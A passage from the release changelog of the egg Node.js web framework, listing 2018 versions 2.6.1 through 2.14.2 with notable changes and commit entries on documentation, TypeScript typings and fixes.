Chore: Add missing links for \"Sails\" and union the spellings of \"Plugin\" (#3356) (Maledong <<maledong_github@outlook.com>>)\n  * [[`cd52b063b`](http://github.com/eggjs/egg/commit/cd52b063b60e15bc78c440fdebc00ddd3dca9909)] - docs(cluster-and-ipc.md): fix typos and formatting errors (#3357) (Darren Poon <<dyhpoon@gmail.com>>)\n  * [[`37e3c1aba`](http://github.com/eggjs/egg/commit/37e3c1abab31f47fc492574464657a57ff686b2b)] - Chroe: Fix something in articles (#3349) (Maledong <<maledong_github@outlook.com>>)\n\n## 2018-12-20, Version 2.14.2 @atian25\n\n### Notable changes\n\n* **fixes**\n  * fix d.ts context declaration not works\n\n* **docs**\n  * more document improvement\n\n### Commits\n  * [[`edfe66093`](http://github.com/eggjs/egg/commit/edfe66093c9ffe730ffd9804da1e2b264a48c38e)] - fix: Add comments for re-writing properties from Koa (#3332) (Maledong <<maledong_github@outlook.com>>)\n  * [[`f312db78f`](http://github.com/eggjs/egg/commit/f312db78fc330da2bfe6efdb0f095d7b3b363beb)] - fix: fix context declaration not works (#3329) (Axes <<whxaxes@qq.com>>)\n  * [[`ef47a2746`](http://github.com/eggjs/egg/commit/ef47a274625a6ae8696857bef01b2c679dd65395)] - docs: fix config heading level (#3327) (Suyi <<thonatos@users.noreply.github.com>>)\n  * [[`cddd91ded`](http://github.com/eggjs/egg/commit/cddd91ded2fac1395487e2847caaf92afaafcf8e)] - chore: adjust template (TZ <<atian25@qq.com>>)\n  * [[`7319727a0`](http://github.com/eggjs/egg/commit/7319727a0b8a4fa210746ac201631a4b7db4359b)] - chore: Update issue templates (#3326) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`0cb246e26`](http://github.com/eggjs/egg/commit/0cb246e2663a288395a013ee78a1b34ab5b7c641)] - doc: Fix some translations with some icons (#3315) (Maledong <<maledong_github@outlook.com>>)\n  * [[`9dc20377e`](http://github.com/eggjs/egg/commit/9dc20377e18e53278bcfac037e15a5a761cccdb3)] - doc: session special usage tip (#3304) (Jerry Wu <<perzy_wu@163.com>>)\n  * [[`6f4e91274`](http://github.com/eggjs/egg/commit/6f4e91274daa0685ba0ed8983ad5b6fd457322bc)] - docs: Update httpclient.md (#3276) (Albert <<shuaizhexu@gmail.com>>)\n  * [[`64e88abfd`](http://github.com/eggjs/egg/commit/64e88abfd24d50096aa2d4ef442aafd46101429a)] - docs(egg-passport): add redirection desc while auth succeed (#3260) (Suyi <<thonatos@users.noreply.github.com>>)\n\n## 2018-11-24, Version 2.14.1 @atian25\n\n### Notable changes\n\n* **fixes**\n  * remove timeout log msg\n\n* **others**\n  * use circular-json-for-egg to remove deprecate message\n\n### Commits\n\n  * [[`0fb5a96c0`](http://github.com/eggjs/egg/commit/0fb5a96c023e916cb9c14c5960df62547ed391d8)] - fix: remove timeout log msg (#3229) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`de81caef1`](http://github.com/eggjs/egg/commit/de81caef1d91c229effadd25ddf752297c2a08f5)] - deps: use circular-json-for-egg to remove deprecate message (#3211) (Yiyu He <<dead_horse@qq.com>>)\n\n## 2018-11-17, Version 2.14.0 @dead-horse\n\n### Notable changes\n\n* **features**\n  * add create anonymous context to agent\n  * support server timeout\n\n* **fixes**\n  * curl: allow request timeout bigger than agent timeout\n  * triggerServerDidReady should be triggered only once\n\n### Commits\n\n  * [[`db999d3f7`](http://github.com/eggjs/egg/commit/db999d3f7afa210c855f3f1a4518e83f7d8c1dc6)] - docs: add serverTimeout to d.ts (#3200) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`a43fef4e1`](http://github.com/eggjs/egg/commit/a43fef4e1828937d3d84469989582df273de1493)] - docs(index.d.ts): curl 增加泛型 (#3197) (The Rock <<simonzhong0924@gmail.com>>)\n  * [[`d40124a25`](http://github.com/eggjs/egg/commit/d40124a25fcd1b52ab862ee297139a022458b81d)] - feat: add create anonymous context to agent (#3193) (Hongcai Deng <<admin@dhchouse.com>>)\n  * [[`9dfd19ead`](http://github.com/eggjs/egg/commit/9dfd19eada8bae7be212155a2989d0ccc410e8eb)] - fix: triggerServerDidReady should be triggered only once (#3190) (killa <<killa123@126.com>>)\n  * [[`7802528e1`](http://github.com/eggjs/egg/commit/7802528e122691eb2cb78174e1c1490d0a382c08)] - feat: support server timeout (#3133) (TZ |\n天猪 <<atian25@qq.com>>)\n  * [[`ff79101b5`](http://github.com/eggjs/egg/commit/ff79101b592d59ad12d110dd26dd7fa3d044b968)] - docs: Update service.md (#3191) (肖金 <<xiaojin1992@126.com>>)\n  * [[`327fa174f`](http://github.com/eggjs/egg/commit/327fa174ffd74a67a77520d839eac282c916e8c0)] - fix: allow request timeout bigger than agent timeout (#3146) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`86093c03a`](http://github.com/eggjs/egg/commit/86093c03a822a2b925de94cfda96198dc8159ade)] - docs: remove promo logo (#3176) (Suyi <<thonatos@users.noreply.github.com>>)\n\n## 2018-11-07, Version 2.13.0 @mansonchor\n\n### Notable changes\n\n* **feature**\n  * emit event when runInBackground catch error\n\n* **perf**\n  * better TypeScript support\n\n* **docs**\n  * supplement documentation\n\n\n### Commits\n\n  * [[`03378b8c3`](https://github.com/mansonchor/egg.git/commit/03378b8c3e48e7000a580a4acf5375f9ffcac4dc)] - docs(plugin.md): fix 'path' declaration example (#3152) (maigozhang <<zhangsnxiang@126.com>>)\n  * [[`3c25221bd`](https://github.com/mansonchor/egg.git/commit/3c25221bd24a0a39cd06540fad46884e4dda363c)] - chore: use is.string() in utils.js for consistency (#3153) (ZYSzys <<zyszys98@gmail.com>>)\n  * [[`a9b0fcec6`](https://github.com/mansonchor/egg.git/commit/a9b0fcec636f7241d0f578dca6b99444dabfeb83)] - chore(typings): add method `beforeClose` in index.d.ts (#3120) (Erona <<erona@loli.bz>>)\n  * [[`4709db746`](https://github.com/mansonchor/egg.git/commit/4709db746d8f97de99c04558f1ba86443e394668)] - feature(context): emit event when runInBackground catch error (#3118) (mansonchor <<mansonchor@126.com>>)\n  * [[`e1dc2a7a4`](https://github.com/mansonchor/egg.git/commit/e1dc2a7a409a8bf56a817773229d5fc6dcde796b)] - docs: add promo logo (#3113) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`51e9c1578`](https://github.com/mansonchor/egg.git/commit/51e9c1578496ed2afb44c47fdfd77867a95fec52)] - chore(typings): add interface IBoot (#3098) (killa <<killa123@126.com>>)\n  * [[`8052d7ff7`](https://github.com/mansonchor/egg.git/commit/8052d7ff7bf6278e8ce4b4de46e0e6324d0d3861)] - doc: Update the `configWillLoad` explainations (#3116) (Maledong <<maledong_github@outlook.com>>)\n  * [[`c3c4e2e3e`](https://github.com/mansonchor/egg.git/commit/c3c4e2e3e04a924595d6837ab15c7b292e3529f6)] - docs: add configWillLoad to lifecycle (#3101) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`4abdb4980`](https://github.com/mansonchor/egg.git/commit/4abdb49801ebb3075b408d6fb3b72eba1a70c056)] - docs(CONTRIBUTION): Add missing link for `Accquire the submitted files` (#3102) (Maledong <<maledong_github@outlook.com>>)\n  * [[`c7061ec62`](https://github.com/mansonchor/egg.git/commit/c7061ec6255faa250c6565a4c102f64c0498683c)] - fix(docs): Grammar of \"lots of\" (#3100) (waiting <<waiting@xiaozhong.biz>>)\n  * [[`92181e83f`](https://github.com/mansonchor/egg.git/commit/92181e83f98d55bd1a796a871ab5d438d02c8e84)] - doc (CONTRIBUTION): Add missing English translations and clearify dns (#3035) (Maledong <<maledong_github@outlook.com>>)\n  * [[`0a7497987`](https://github.com/mansonchor/egg.git/commit/0a7497987067ce1c3376dfc30676c35f484a5ccc)] - doc(logger.md): Fix incorrect description on default log output level. (#3082) (TX-Kunkun <<eiclkun@gmail.com>>)\n\n\n## 2018-10-08, Version 2.12.0 @dead-horse\n\n### Notable changes\n\n* **feature**\n  * add Subscription base class on app instance\n\n* **fix**\n  * upgrade to egg-logger@2, don't write log when stream was destroyed.\n  * pin circular-json@0.5.5 to avoid output deprecate message\n\n* **docs**\n  * corrected lots of documentation errors, thanks @Maledong\n  * use egg-logger definition\n\n\n### Commits\n\n  * [[`eb1eae736`](http://github.com/eggjs/egg/commit/eb1eae736c0fc541e6d21fb726d52d971d6a95da)] - refactor(typescript): use egg-logger definition (#3078) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`04d9a3b85`](http://github.com/eggjs/egg/commit/04d9a3b85ef54819c0ad3ac505e7806db6a7e9b3)] - deps: egg-logger@2 (#3073) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`886d9ad8f`](http://github.com/eggjs/egg/commit/886d9ad8fd11e1fbbd1712dd53ef464658f525b5)] - feat: add Subscription base class on app instance (#3058) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`4c6fb2a17`](http://github.com/eggjs/egg/commit/4c6fb2a175c2481aa61aaad131f6812517bc7022)] - doc (socket.io): Make 'uws' cannot use anymore clear (#3068) (Maledong <<maledong_github@outlook.com>>)\n  * [[`0d6798d22`](http://github.com/eggjs/egg/commit/0d6798d22d0e5016b0f7f25e5fa15ffe6900e16c)] - docs (Controller.md): Add new feat description (#3066) (Maledong <<maledong_github@outlook.com>>)\n  * [[`399902680`](http://github.com/eggjs/egg/commit/39990268081d1da3fdb2d575802ea46cdf67bcd5)] - doc(typescript.md): Clarify the middleware's usages (#3039) (Maledong <<maledong_github@outlook.com>>)\n  * [[`6bf812f73`](http://github.com/eggjs/egg/commit/6bf812f73603e967e405a815dcb2cc94dcb8384c)] - chore: fix middleware docs typo (#3060) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`b13d904d3`](http://github.com/eggjs/egg/commit/b13d904d302639c3b6068f109d4bcfa5aff12c61)] - test: avoid DNS pollution on local env (#3034) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`bace2433b`](http://github.com/eggjs/egg/commit/bace2433bcc96d1507403c34711b2a2e450e6a6a)] - fix: remove loader.loadBootHook (Yiyu He <<dead_horse@qq.com>>)\n  * [[`6a7db2a35`](http://github.com/eggjs/egg/commit/6a7db2a3591a03b187bc3b52c67b37fde7984d34)] - doc (objects.md): Fix number and code errors (#3029) (Maledong <<maledong_github@outlook.com>>)\n  * [[`c65a64899`](http://github.com/eggjs/egg/commit/c65a648991900b95a8ef0b21dcd8e3f715523df7)] - doc (TypeScript): Formation errors with missing translations (#3020) (Maledong <<maledong_github@outlook.com>>)\n  * [[`abd8d1286`](http://github.com/eggjs/egg/commit/abd8d12861e17ff8fe5e950d589c00d17625beae)] - deps: pin circular-json@0.5.5 to avoid output deprecate message (#3023) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`e3ffcbe64`](http://github.com/eggjs/egg/commit/e3ffcbe6449b95b50ea40583a28383e734c72fe1)] - docs (typescript.md): Add missing trans in English for TypeScript (#2998) (Maledong <<maledong_github@outlook.com>>)\n\n## 2018-09-19, Version 2.11.2 @XadillaX\n\n### Notable changes\n\n* **fix**\n  * typescript: add missing 'ignore', 'match'\n* **refactor**\n  * separate dumping config object and config file\n\n### Commits\n\n  * [[`1d30166e0`](http://github.com/eggjs/egg/commit/1d30166e037e8890fc850e51bdba02af76772485)] - refactor: separate dumping config object and config file (#3014) (Khaidi Chu <<i@2333.moe>>)\n  * [[`e3f183e96`](http://github.com/eggjs/egg/commit/e3f183e9658e603c74850376f2257bd88bc4a043)] - fix (typescript): Add missing 'ignore','match' (#3010) (Maledong <<maledong_github@outlook.com>>)\n\n## 2018-09-14, Version 2.11.1 @popomore\n\n### Notable changes\n\n* **fix**\n  * httpclient: can't use runInBackground in agent\n\n* **deps**\n  * upgrade to debug@4 and coffee@5\n\n### Commits\n\n  * [[`eed74e861`](http://github.com/eggjs/egg/commit/eed74e8610e1ea189beed1c3526b38f0b59c48ab)] - chore: update deps, debug@4 and coffee@5 (#2995) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`a8a3dfb04`](http://github.com/eggjs/egg/commit/a8a3dfb04f11b1c48ed1f01154e4d4311bfafa4b)] - fix(httpclient): can't use runInBackground in agent (#3003) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`4faf68f4b`](http://github.com/eggjs/egg/commit/4faf68f4b6dad160a151b3d76041a0521261b530)] - doc (loader.md): Add missing English translations (#2996) (Maledong <<maledong_github@outlook.com>>)\n\n## 2018-09-11, Version 2.11.0 @atian25\n\n### Notable changes\n\n* **feature**\n  * support boot lifecycle, see https://github.com/eggjs/egg/issues/2520\n  * `dnshttpclient` now use async function instead of Promise\n\n* **fix**\n  * don't log when rawPacket is empty\n\n* **docs**\n  * add sequelize guide docs\n  * more document and typings improvement\n\n### Commits\n\n  * [[`0d876c71a`](http://github.com/eggjs/egg/commit/0d876c71a9c4862b93cb039f564ae3d3171e1cad)] - feat: support boot lifecyle (#2972) (killa <<killa123@126.com>>)\n  * [[`b02ce1547`](http://github.com/eggjs/egg/commit/b02ce154777fc78a6d344fe45d915d013096bea3)] - chroe(doc): Fix some typos (#2988) (Maledong <<maledong_github@outlook.com>>)\n  * [[`688067ae0`](http://github.com/eggjs/egg/commit/688067ae09071316cbf5310b17d92d4fec39b42a)] - docs: fix 2 typos (#2982) (Jeff <<jeff.tian@outlook.com>>)\n  * [[`a719fd345`](http://github.com/eggjs/egg/commit/a719fd34507ebbfcf800768fb58adc81aa9c5e36)] - docs: Fix and add missing typos (#2935) (Maledong <<maledong_github@outlook.com>>)\n  * [[`815c27879`](http://github.com/eggjs/egg/commit/815c278792e94ccf85822b3496f10396236e6628)] - fix (typings): Upgrade to the latest version of 'egg-cookie' to fetch (#2958) (Maledong <<maledong_github@outlook.com>>)\n  * [[`a2df5ad13`](http://github.com/eggjs/egg/commit/a2df5ad137dea5faf7724d480edcc482a1df9393)] - docs: fixed typo. (#2961) (Ariel Yang <<arielyang@gmail.com>>)\n  * [[`b971e6633`](http://github.com/eggjs/egg/commit/b971e66336af4c8e241303866c8fa9acaaf4e66f)] - test: fix sitefile icon test (#2940) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`81826ed1a`](http://github.com/eggjs/egg/commit/81826ed1a826a3436f8c42b7b5466295c60f241e)] - docs: fix link to angular commit-message-format (#2939) (Vincent <<santochance@users.noreply.github.com>>)\n  * [[`45e302459`](http://github.com/eggjs/egg/commit/45e30245952619e4ed95867b2f76b0bdd06e94cc)] - fix: don't log when rawPacket is empty (#2924) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`db1286de7`](http://github.com/eggjs/egg/commit/db1286de73de2cd987dc8f28c0616e9a683824a6)] - chore(typings): add class EggLoader (#2321) (waiting <<waiting@xiaozhong.biz>>)\n  * [[`80528ccec`](http://github.com/eggjs/egg/commit/80528cceced500b5ae49ebf6d9df242ba2ce5ea4)] - refactor(dnshttpclient): use async function instead of Promise (#2774) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`fe9e95654`](http://github.com/eggjs/egg/commit/fe9e9565472c7de9ff8dfb8894917764fe26fa0b)] - doc (package.json,README.zh-CN): Fix some typos (#2927) (Maledong <<maledong_github@outlook.com>>)\n  * [[`289e96278`](http://github.com/eggjs/egg/commit/289e96278359a1468e366a6f3f7b2094dd3b7d6c)] - docs(sequelize): hostname shoule be host (#2921) (Will <<1078954008@qq.com>>)\n  * [[`72cd808b8`](http://github.com/eggjs/egg/commit/72cd808b86f37847cf340d88ec4eb73b9d7a7aa0)] - docs: fix sequelize link (#2909) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`ae9ec30b4`](http://github.com/eggjs/egg/commit/ae9ec30b410bba3f8a99ba741e59fdb13e51c806)] - docs: add sequelize (#2902) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`68135608b`](http://github.com/eggjs/egg/commit/68135608b3518b7d3dbd852453061179f63d5e4f)] - docs(deployment): fix typo on grep (#2898) (Baffin Lee <<baffinlee@gmail.com>>)\n  * [[`6bfe70b3d`](http://github.com/eggjs/egg/commit/6bfe70b3d64206c85dea19c308abb40c46c6e347)] - doc (en,zh-cn): Fix translations error (#2885) (Maledong <<maledong_github@outlook.com>>)\n  * [[`96ed020ce`](http://github.com/eggjs/egg/commit/96ed020ce04919049181808cee217029586d11c3)] - docs: fix config and socketio error (#2884) (Suyi <<thonatos@users.noreply.github.com>>)\n\n\n## 2018-08-06, Version 2.10.0 @fengmk2\n\n### Notable changes\n\n* **feature**\n  * allow runInBackground reuse on plugins\n  * use Math.floor instead of parseInt\n\n* **fix**\n  * use cache-content-type\n\n* **docs**\n  * add lifecycle doc\n  * add sequelize guide\n  * add allowDebugAtProd in document\n  * egg-scripts support windows\n  * schedule add env description\n  * more document and typings improvement\n\n### Commits\n\n  * [[`ff7431d5c`](http://github.com/eggjs/egg/commit/ff7431d5c4ea1e1d40fd7e3656dc5ab52ca55726)] - feat: allow runInBackground reuse on plugins (#2872) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`422b342b1`](http://github.com/eggjs/egg/commit/422b342b1fa419db145323927f4f2d2a8996b7fb)] - feat: Update index.d.ts (#2853) (Ben <<ben@zfben.com>>)\n  * [[`2ca8f0184`](http://github.com/eggjs/egg/commit/2ca8f018473274fa544234c91fc608fa9bf09032)] - feat(typings): define Messenger['on'] and Messenger['once'] (#2763) (waiting <<waiting@xiaozhong.biz>>)\n  * [[`9f8926d7c`](http://github.com/eggjs/egg/commit/9f8926d7cc55ae103b6a37751538870cc70aa12d)] - fix: use cache-content-type (#2793) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`033fe0ce1`](http://github.com/eggjs/egg/commit/033fe0ce1d39bd63346de1ec60c97b159be867aa)] - docs: optimize egg-validate usage (#2852) (Sean Zou <<405495715@qq.com>>)\n  * [[`c0b0bb834`](http://github.com/eggjs/egg/commit/c0b0bb8345df83bbd2949b0af34bb397b5185e17)] - docs(session): fix bug in example code of modify session value (#2824) (Baffin Lee <<baffinlee@gmail.com>>)\n  * [[`b55b303ed`](http://github.com/eggjs/egg/commit/b55b303eddbaf545cdb06fd81df624fd3070110a)] - test: test on travis with node 10 (#2461) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`38a472f24`](http://github.com/eggjs/egg/commit/38a472f24cf68acb9c64fafa2e4374115d578220)] - docs: add allowDebugAtProd in document (#2803) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`e86669937`](http://github.com/eggjs/egg/commit/e866699379bc570f8bfcef9a090f1bdb5cddee32)] - perf: use Math.floor instead of parseInt (Eason <<tobewhatwewant@gmail.com>>)\n  * [[`67d538e0e`](http://github.com/eggjs/egg/commit/67d538e0e175e96fe2a64b9c8d17b063537236f7)] - docs(plugin): add details for plugin.js (#2780) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`8d0b29cc9`](http://github.com/eggjs/egg/commit/8d0b29cc9b0a3b8eefad1ab64a05478c81709144)] - docs(deployment): egg-scripts support windows (#2788) (Baffin Lee <<baffinlee@gmail.com>>)\n  * [[`aaf8faf4f`](http://github.com/eggjs/egg/commit/aaf8faf4fd8d813c7938baa1533d768b9d205fc7)] - test: skip test (#2773) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`eb70335bd`](http://github.com/eggjs/egg/commit/eb70335bd61b6887ffeb33f103340b89c857312a)] - docs(schedule): add env description (#2753) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`ef20ff756`](http://github.com/eggjs/egg/commit/ef20ff75633b6e83b115d32af603d0f4f34cb1e1)] - docs: add http://www.sofastack.tech (#2752) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`1ecb521c5`](http://github.com/eggjs/egg/commit/1ecb521c50b6238397f9a0b628448c0d2b5ec4fa)] - doc: add lifecyle doc (#2708) (killa <<killa123@126.com>>)\n  * [[`7930f0419`](http://github.com/eggjs/egg/commit/7930f0419fee741bcf6de73693bcdf1e9986f31e)] - docs: fix ws engine error (#2717) (Suyi <<thonatos@users.noreply.github.com>>)\n\n## 2018-06-14, Version 2.9.1 @dead-horse\n\n### Notable changes\n\n* **perf**\n  * improve set type performance\n\n* **docs**\n  * fix socketio's browser demo\n  * add Messenger in tsd\n\n### Commits\n\n  * [[`1a820bd44`](http://github.com/eggjs/egg/commit/1a820bd4408b36cf3e48eda62f392006081c17a3)] - perf: improve set type performance by lru cache (#2697) (fengmk2 <<fengmk2@gmail.com>>)\n  * [[`239ce03ef`](http://github.com/eggjs/egg/commit/239ce03efaf60d3d961ced29cf4bf95e44bde2db)] - docs: fix socketio's browser demo (#2645) (xcold <<lxstart@outlook.com>>)\n  * [[`73ca1b7a3`](http://github.com/eggjs/egg/commit/73ca1b7a3ef6546d4f8a3d227055121a93b80188)] - chore(typings): add Messenger (#2688) (waiting <<waiting@xiaozhong.biz>>)\n\n## 2018-06-01, Version 2.9.0 @popomore\n\n### Notable changes\n\n* **feature**\n  * dump timing data for loader\n\n* **fix**\n  * the default value of config.allowDebugAtProd is false\n  * make definition of app.locals and ctx.locals definitions merge available\n  * add key any to Context in typescript define\n\n* **docs**\n  * more document improvement\n\n### Commits\n\n * [[`e5737d545`](http://github.com/eggjs/egg/commit/e5737d5455d536b908f37ba367446e511f30e663)] - fix: add key any to Context (#2650) (Axes <<whxaxes@qq.com>>)\n * [[`65a43aa9e`](http://github.com/eggjs/egg/commit/65a43aa9e47ad2f799e328e4e0ab91a63669c5e3)] - feat: dump timing data for loader (#2521) (#2621) (Haoliang Gao <<sakura9515@gmail.com>>)\n * [[`48c6d3c9d`](http://github.com/eggjs/egg/commit/48c6d3c9d524e1cbba3e301e6613436741696cc0)] - fix: typo (#2615) (Yanan Che <<cynosurech@gmail.com>>)\n * [[`c91e67cc0`](http://github.com/eggjs/egg/commit/c91e67cc0246a22efee126ebd01866b05b8312dc)] - docs(logger): the unit of maxFileSize should be byte (#2575) (Haoliang Gao <<sakura9515@gmail.com>>)\n * [[`26c274174`](http://github.com/eggjs/egg/commit/26c274174c9a48ef1636933fbb2be9777d38f522)] - docs: tweek doc style (#2613) (Haoliang Gao <<sakura9515@gmail.com>>)\n * [[`3ee7fcf12`](http://github.com/eggjs/egg/commit/3ee7fcf1291a4968197fab4648e951176dfa2714)] - docs: fix quickstart typo error (#2578) (Zhuxy <<ghostcode521@gmail.com>>)\n * [[`8b7c8bd35`](http://github.com/eggjs/egg/commit/8b7c8bd35f8695f4459cfd623f9961c276e0d5a6)] -  docs(d.ts): add property of EggAppConfig.development (#2561) (SinaVee <<sinalvee@gmail.com>>)\n * [[`16a61231d`](http://github.com/eggjs/egg/commit/16a61231d12c91ae609e68509d29aac669e1b83c)] - docs: add d.ts for bodyparser (#2548) (wangtao0101 <<yuecjn@gmail.com>>)\n * [[`e7696a7d2`](http://github.com/eggjs/egg/commit/e7696a7d2b4bc8eb6fb984aaaa0e0f2422d1c048)] - fix(d.ts): make app.locals and ctx.locals definitions merging available (#2546) (Tony Hawking <<ThaGKI9@outlook.com>>)\n * [[`e5d47524e`](http://github.com/eggjs/egg/commit/e5d47524ef96138172c86e774014a6b26d5cac09)] - chroe: Correct an error syntax of English (#2544) (DongWei <<maledong_forwork@foxmail.com>>)\n * [[`c0f4bd12d`](http://github.com/eggjs/egg/commit/c0f4bd12d422554351b1d1e9866a7b9bbc444e76)] - fix: config.allowDebugAtProd default to false (ZhangJan <<dsonet@msn.com>>)\n * [[`0723cd230`](http://github.com/eggjs/egg/commit/0723cd230514b623c4454120dae988fd5a68ec44)] - docs(cookie): how to get frontend cookie (#2542) (Yiyu He <<dead_horse@qq.com>>)\n * [[`9fea64ee9`](http://github.com/eggjs/egg/commit/9fea64ee993de7c3ee2e239d7bba91f5f3b3408a)] - docs: Fix an error link, change a comment into English (#2535) (DongWei <<maledong_forwork@foxmail.com>>)\n * [[`e96ddb6a8`](http://github.com/eggjs/egg/commit/e96ddb6a884ef767c8653242c666dcc7381222b7)] - docs: Modifications of comments and full translations (DongWei <<maledong_forwork@foxmail.com>>)\n\n## 2018-05-05, Version 2.8.1 @atian25\n\n### Notable changes\n\n* **docs**\n  * fix missing d.ts\n\n### Commits\n\n  * [[`20356bffc`](http://github.com/eggjs/egg/commit/20356bffcf7e99970b44f230a6fc2a8f9547a380)] - feat(d.ts): add createAnonymousContext & runInBackground (#2501) (Hengfei Zhuang <<zhuanghengfei@gmail.com>>)\n  * [[`c013ef3e6`](http://github.com/eggjs/egg/commit/c013ef3e64e049c6ef48e29d289f6d756b6ca1f7)] - feat(d.ts): add runSchedule & Subscription define (#2504) (Hengfei Zhuang <<zhuanghengfei@gmail.com>>)\n\n## 2018-05-03, Version 2.8.0 @dead-horse\n\n### Notable changes\n\n* **feature**\n  * add time duration for dump config\n\n* **fix**\n  * make singleton work for unextensible or frozen instance\n\n* **docs**\n  * switch to English document\n  * add middleware to Application and other ts improvement (typescript)\n  * update wxapp-socket-io project to weapp.socket.io\n  * update title and remove unused files\n\n### Commits\n\n  * [[`4b602d037`](http://github.com/eggjs/egg/commit/4b602d037554b72c8261b7abb7efd94f8f59f3fe)] - fix: make singleton work for unextensible or frozen instance (#2472) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`824200c11`](http://github.com/eggjs/egg/commit/824200c11cac8e20b2c275daa7f5a4a365c71259)] - feat: add time duration for dump config (#2485) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`73dac083d`](http://github.com/eggjs/egg/commit/73dac083d2a029f893e9b6737080c921027e308f)] - docs: update wxapp-socket-io project to weapp.socket.io (#2421) (liuguili <<gongzili456@gmail.com>>)\n  * [[`1ada8e384`](http://github.com/eggjs/egg/commit/1ada8e3848be9f09680d7cac091fb14206df5a11)] - feat(d.ts): add middleware to Application and other ts improvement (#2465) (Axes <<whxaxes@qq.com>>)\n  * [[`437785315`](http://github.com/eggjs/egg/commit/437785315f28a828ea0cf7bece80223d5b796dc5)] - docs: fix the code error of LOCALS in view.md (#2464) (zjz19901029 <<346663801@qq.com>>)\n  * [[`f341b9fb8`](http://github.com/eggjs/egg/commit/f341b9fb8bdf36b6280500578e8448c59aec10f1)] - chore: update title and remove unused files (#2433) (TZ |\n天猪 <<atian25@qq.com>>)\n  * [[`a5ab29cbd`](http://github.com/eggjs/egg/commit/a5ab29cbd1de0f5425019085258a496b4bce8b45)] - docs: switch to English document (#2426) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`4ab7df25f`](http://github.com/eggjs/egg/commit/4ab7df25f152609d494745eac2794b78e66444f0)] - deps: update dependencies, add @types/urllib to autod config (#2423) (Yiyu He <<dead_horse@qq.com>>)\n\n## 2018-04-17, Version 2.7.1 @dead-horse\n\n### Notable changes\n\n* **fix**\n  * imporve compatibility of singleton\n\n### Commits\n\n  * [[`e4d219f`](http://github.com/eggjs/egg/commit/e4d219f1aaecbca13601c7813e57c67934e8c32b)] - fix: imporve compatibility of singleton (#2410) (Yiyu He <<dead_horse@qq.com>>)\n\n## 2018-04-16, Version 2.7.0 @dead-horse [DEPRECATED]\n\n### Notable changes\n\n* **feature**\n  * singleton support asynchronous create function\n\n* **fix**\n  * dump config support circular json\n\n* **docs**\n  * improve router and typescript\n\n### Commits\n\n  * [[`3d499a9`](http://github.com/eggjs/egg/commit/3d499a90bab7095569e115e223de40e63812f2f5)] - docs(plugin): add singleton support async create function (#2392) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`05d925f`](http://github.com/eggjs/egg/commit/05d925fea4e0b2d8efa48cb01ced2133c0c059cd)] - docs: change English document on Readme (#2397) (Haoliang Gao <<sakura9515@gmail.com>>)\n  * [[`590bd8c`](http://github.com/eggjs/egg/commit/590bd8cb400845706ec7cc84232b812cb468c8ac)] - fix: dumpConfig support circular json (#2394) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`3a489b6`](http://github.com/eggjs/egg/commit/3a489b6f47b39ff2ec31efe936504918300b3f08)] - feat(singleton): support async create function (#2382) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`a5b6731`](http://github.com/eggjs/egg/commit/a5b673133b35e9b005e19c1e3267a2ff3d58e32b)] - docs: chore for router and typescript (#2390) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`ee2d2b3`](http://github.com/eggjs/egg/commit/ee2d2b3c33671a822b45a6c474d3710aab5e70d5)] - docs(passport): translation for passport tutorial (#2235) (Cemre Mengu <<cemremengu@gmail.com>>)\n  * [[`6fad4e1`](http://github.com/eggjs/egg/commit/6fad4e1bed3c388e964fc656244e5e606b258085)] - chore: update package.json for release (#2381) (TZ | 天猪 <<atian25@qq.com>>)\n\n## 2018-04-12, Version 2.6.1 @atian25\n\n### Notable changes\n\n* **docs**\n  * TypeScript Guide (#2324)\n  * fix d.ts with ts support\n  * docs improve\n\n### Commits\n\n  * [[`2998bf733`](http://github.com/eggjs/egg/commit/2998bf733268d4d88d5fc77e05943b3fa0f824d4)] - chore(typings): add index signature of EggAppConfig (#2359) (waiting <<waiting@xiaozhong.biz>>)\n  * [[`5f2358bbd`](http://github.com/eggjs/egg/commit/5f2358bbdd6e21a1ab387a8425d0fefc30954227)] - docs: intro session.renew in the doc (#2375) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`f0e7773f2`](http://github.com/eggjs/egg/commit/f0e7773f28eb7a233230a847ff2f8bc737aa3c01)] - docs: add TypeScript Guide (#2324) (TZ | 天猪 <<atian25@qq.com>>)\n  * [[`cd418f57a`](http://github.com/eggjs/egg/commit/cd418f57a843b504dcac6d8c25b99026e1edf072)] - docs(controller): add ctx.redirect (#2373) (Yiyu He <<dead_horse@qq.com>>)\n  * [[`2fafb16b8`](http://github.com/eggjs/egg/commit/2fafb16b8810e41b86d15f51257c2a0531c78357)] - docs(socketio): update demo & solve problem on chrome (#2354) (Suyi <<thonatos@users.noreply.github.com>>)\n  * 